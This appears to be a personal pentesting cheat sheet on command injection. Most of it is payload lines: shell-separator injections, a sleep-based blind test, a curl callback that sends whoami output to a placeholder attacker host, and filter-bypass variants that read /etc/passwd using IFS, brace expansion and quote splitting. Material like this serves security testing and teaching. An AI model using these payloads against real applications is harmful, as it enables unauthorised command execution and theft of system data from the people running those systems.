> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Command Injection

## Basic Payloads

Inject after shell metacharacters: the app concatenates your input into a system call, so append a second command with a separator.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
; id
| id
|| id
&& id
`id`
$(id)
```

## Blind Detection

When there's no visible output, use time delays or out-of-band callbacks to confirm execution.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
; sleep 5
; curl http://<your-ip>/$(whoami)
```

## Bypass Filters

Filters often look for specific characters or keywords: use IFS, brace expansion, or string splitting to reconstruct the command without triggering them.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
${IFS}id
{cat,/etc/passwd}
c'a't /etc/passwd
```